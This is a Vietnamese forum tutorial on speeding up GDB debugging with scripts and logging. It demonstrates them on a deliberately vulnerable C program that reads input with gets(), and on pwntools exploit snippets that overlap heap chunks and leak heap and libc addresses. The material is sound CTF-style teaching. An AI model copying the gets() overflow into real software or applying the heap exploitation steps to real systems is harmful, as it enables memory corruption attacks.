GDB: Tăng tốc debug bằng script

T

tmnt53

Guest
GDB: Tăng tốc debug bằng script
Giới thiệu: trong quá trình debug, ta hay phải làm một công việc lặp đi lặp lại nhiều lần. Chẳng hạn, khi exploit một bài CTF, ta hay phải chạy đi chạy lại chương trình, đặt lại breakpoint nhiều lần. Hơn nữa, đối với các bài yêu cầu chạy thời gian thực, thì việc dừng tại breakpoint sẽ làm chương trình chạy không được “thật”. Do đó, để tăng tốc quá trình debug, cũng như giải quyết các bài yêu cầu thời gian thực, GDB hỗ trợ script, ghi log. Bằng cách chạy file script trước khi chạy chương trình, rồi chỉ việc phân tích log, ta có thể debug dễ dàng hơn.

Trong khuôn khổ bài viết này, mình sẽ chỉ giới thiệu những script mà mình thường áp dụng, qua một chương trình demo.

Kiến thức cần có:
  • Phù hợp với những bạn đã có kiến thức exploit nền tảng, quen với việc debug bằng gdb. Nhất là các bạn đã làm các bài pwn CTF.
  • Chương trình demo có nhắc đến kỹ thuật khai thác heap. Các bạn đã làm dạng này sẽ dễ hiểu hơn
Link mã nguồn, file elf, exploit.py, mScript: heap_unlink.zip

Tắt ASLR để dễ debug.

Mô tả chương trình: cho phép tạo/sửa/xóa các message trong một danh sách gMsgs[100].
  • Add: cho phép malloc với kích thước bất kỳ.
  • Remove: cho phép free message.
  • Edit: cho phép sửa message.
  • Display: in ra nội dung message.
Các hàm Add, Edit đều dùng gets để nhập dữ liệu vào message => lỗi heap overflow => khai thác được bẳng unlink.

Ví dụ làm crash chương trình:
  • Phân phát message 0 và message 1.
  • Edit message 0 sao cho tràn lên cả message 1.
  • Free message 1 => crash
heap_unlink.c:

Mã:
[B][COLOR=#0000FF][FONT=courier new]#include
#include

char* gMsgs[100];

void Add()
{
    printf("Input offset of the message (< 100): ");
    unsigned offset, size;
    scanf("%u", &offset);
    getchar();
    if (offset >= 100 || gMsgs[offset]) {
        printf("Invalid offset\n");
        return;
    } else {
        printf("Input size of the message: ");
        scanf("%u", &size);
        getchar();
        gMsgs[offset] = (char*)malloc(size);
        if (gMsgs[offset] == NULL) {
            printf("Cannot allocate memory\n");
            exit(1);
        } else {
            printf("Input message: ");
            gets(gMsgs[offset]);
        }
    }
}

void Edit()
{
    printf("Input offset of the message (< 100): ");
    unsigned offset, size;
    scanf("%u", &offset);
    getchar();
    if (offset >= 100 || gMsgs[offset] == NULL) {
        printf("Invalid offset\n");
        return;
    } else {
        printf("Input message: ");
        gets(gMsgs[offset]);
    }
}

void Remove()
{
    printf("Input offset of the message (< 100): ");
    unsigned offset, size;
    scanf("%u", &offset);
    getchar();
    if (offset >= 100 || gMsgs[offset] == NULL) {
        printf("Invalid offset\n");
        return;
    } else {
        free(gMsgs[offset]);
        gMsgs[offset] = NULL;
    }
}

void Display()
{
    printf("Input offset of the message (< 100): ");
    unsigned offset, size;
    scanf("%u", &offset);
    getchar();
    if (offset >= 100 || gMsgs[offset] == NULL) {
        printf("Invalid offset\n");
        return;
    } else {
        printf("Message: %s\n", gMsgs[offset]);
    }
}

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    while(1) {
        printf("Menu:\n");
        printf("1. Add\n");
        printf("2. Edit\n");
        printf("3. Remove\n");
        printf("4. Display\n");
        printf("5. Exit\n");
        printf(">>> ");
        unsigned op;
        scanf("%u", &op);
        getchar();
        switch(op) {
            case 1:
                Add();
                break;
            case 2:
                Edit();
                break;
            case 3:
                Remove();
                break;
            case 4:
                Display();
                break;
            default:
                exit(0);
                break;
        }
    }
}[/FONT][/COLOR][/B]

Log làm crash:
Mã:
[FONT=courier new]Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 1
Input offset of the message (< 100): 0
Input size of the message: 20
Input message: a
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 1
Input offset of the message (< 100): 1
Input size of the message: 20
Input message: b
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 2
Input offset of the message (< 100): 0
Input message: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaa
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>> 3
Input offset of the message (< 100): 1
Segmentation fault (core dumped)[/FONT]

Trong khuôn khổ bài viết, mình sẽ chỉ demo đến phần leak địa chỉ của heap.

Trước hết, ta phân phát 3 message kích thước 0x100B

File exploit.py

Mã:
[B][COLOR=#0000FF][FONT=courier new]#coding: utf-8
from pwn import *
p = process("./heap_unlink")
…
raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
p.interactive()
[/FONT][/COLOR][/B]

Để theo dõi cách heap được phân phát, khi exploit.py dừng tại raw_input, ta gdb attach vào, chạy file mScript bằng lệnh source, và continue gdb.

File mScript:

Mã:
[B][COLOR=#0000FF][FONT=courier new]# cài đặt file log.txt làm file log
shell echo > log.txt
set logging file log.txt
set logging on

# xóa breakpoint cũ
del

# ngăn không hỏi khi in ra nhiều hơn một trang dữ liệu
set pagination off

# đặt breakpoint tại 0x0804868E - địa chỉ sau lệnh 'call malloc' của hàm Add, để in ra header của chunk được phân phát,
break *0x0804868E
commands
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
end
[/FONT][/COLOR][/B]
Log gdb:
Mã:
(gdb) source mScript
Breakpoint 1 at 0x804868e
(gdb) i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804868e 
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
(gdb) c
Continuing.
File log.txt thu được:
Mã:
Breakpoint 1 at 0x804868e
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804868e 
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
Continuing.

Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1000: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1108: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 1, 0x0804868e in Add ()
-----------
malloc: 0x83f1210: 0x00000000 0x00000109 0x00000000 0x00000000

Từ log trên, ta có thể thấy các message được phân phát liền nhau. Kiểm tra xem top chunk có ở ngay sau chunk2 không:

Mã:
(gdb) x /4wx 0x8b14210+0x108
0x8b14318: 0x00000000 0x00020ce9 0x00000000 0x00000000
(gdb)

Top chunk đằng sau chunk2. Do đó, ta có kịch bản biến chunk2 thành forgotten chunk như sau:
  1. Phân phát chunk0, chunk1, chunk2
  2. Edit chunk0, đè lên size của chunk1, khiến size chunk 1 bằng tổng size chunk1 và chunk2 => chunk1 trở thành chunk liền trước top chunk
  3. Free chunk1 => heap chỉ còn chunk0 và top chunk, chunk2 bị lãng quên.
File exploit.py:

Mã:
[B][COLOR=#0000FF][FONT=courier new]…
raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x211))
remove(1)
p.interactive()[/FONT][/COLOR][/B]
File mScript:
Mã:
[B][COLOR=#0000FF][FONT=courier new]…
# đặt breakpoint tại 0x0804868E - địa chỉ sau lệnh 'call malloc' của hàm Add, để in ra header của chunk được phân phát
break *0x0804868E
commands
printf "-----------\nmalloc: "
x/4wx $eax-8
continue
end
# đặt breakpoint sau 'call gets' trong Add để in ra msg
break *0x080486D9
commands
printf "Msg: %s\n", *(int*)($esp)
continue
end
# đặt breakpoint tại 'call free' trong Remove, để in ra msg bị remove
break *0x080487A8
commands
printf "------------\nfree msg: %s\n", $eax
set $removed = $eax
x/4wx $eax-8
continue
end
# đặt breakpoint sau 'call free' trong Remove, để in ra header sau khi bị remove
break *0x080487AD
commands
printf "after removed: "
x/4wx $removed-8
continue
end
[/FONT][/COLOR][/B]
Log.txt sau khi chạy với exploit.py và mScript trên:
Mã:
Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b000: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk0

Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk1

Breakpoint 30, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 31, 0x080486d9 in Add ()
Msg: chunk2

Breakpoint 32, 0x080487a8 in Remove ()
------------
free msg:
0x804b108: 0x41414141 0x00000211 0x6e756800 0x0000316b

Breakpoint 33, 0x080487ad in Remove ()
after removed: 0x804b108: 0x41414141 [COLOR=#FF0000]0x00020ef9[/COLOR] 0x6e756800 0x0000316b

Nhận xét: kịch bản hoạt động. chunk1 bị free đã trở thành top chunk (0x00020ef9 là kích thước top chunk).

Giờ việc leak địa chỉ main_arena hay địa chỉ heap thật dễ dàng. Ví dụ một kịch bản leak địa chỉ heap:

Mã:
[B][FONT=courier new][COLOR=#0000FF]raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x211))
remove(1)
add(3, 0x100, "chunk3")
add(4, 0x100, "chunk4")
add(5, 0x100, "chunk5")
add(6, 0x100, "chunk6")
add(7, 0x100, "chunk7")
remove(6)
remove(4)
m = display(2)
print [m]
p.interactive()[/COLOR][/FONT][/B]

Ta phân phát thêm chunk3 -> chunk6. Chunk4 sẽ trùng khít với chunk2. Ta free chunk6, rồi free chunk4. Như vậy, sau khi chunk4 bị free, fd, bk của chunk4 sẽ trỏ tới main_arean và địa chỉ của chunk6.

Mã:
Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b000: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk0

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk1

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk2

Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg:
0x804b108: 0x41414141 0x00000211 0x6e756800 0x0000316b

Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b108: 0x41414141 0x00020ef9 0x6e756800 0x0000316b

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b108: 0x41414141 0x00000109 0x6e756800 0x0000316b

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk3

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b210: 0x00000000 0x00000109 0x6e756863 0x0000326b

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk4

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b318: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk5

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b420: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk6

Breakpoint 34, 0x0804868e in Add ()
-----------
malloc: 0x804b528: 0x00000000 0x00000109 0x00000000 0x00000000

Breakpoint 35, 0x080486d9 in Add ()
Msg: chunk7

Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg: chunk6
0x804b420: 0x00000000 0x00000109 0x6e756863 0x0000366b

Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b420: 0x00000000 0x00000109 0xf7fb9450 0xf7fb9450

Breakpoint 36, 0x080487a8 in Remove ()
------------
free msg: chunk4
0x804b210: 0x00000000 0x00000109 0x6e756863 0x0000346b

Breakpoint 37, 0x080487ad in Remove ()
after removed: 0x804b210: 0x00000000 0x00000109 [COLOR=#FF0000]0x0804b420 0xf7fb9450[/COLOR]
Và khi ta dùng Display để in ra chunk2 thì ta leak được các giá trị này:
Mã:
Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>>
4
Input offset of the message (< 100):
2
Message: \xb4\x0P\x94�

['Message: [COLOR=#FF0000] \xb4\x04\x08P\x94\xfb\xf7[/COLOR]\n']

Kết luận: Bằng việc dùng gdb script, việc khai thác được nhanh chóng hơn. Bài viết của mình xin kết thúc ở đây.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
debug gdb script
Bên trên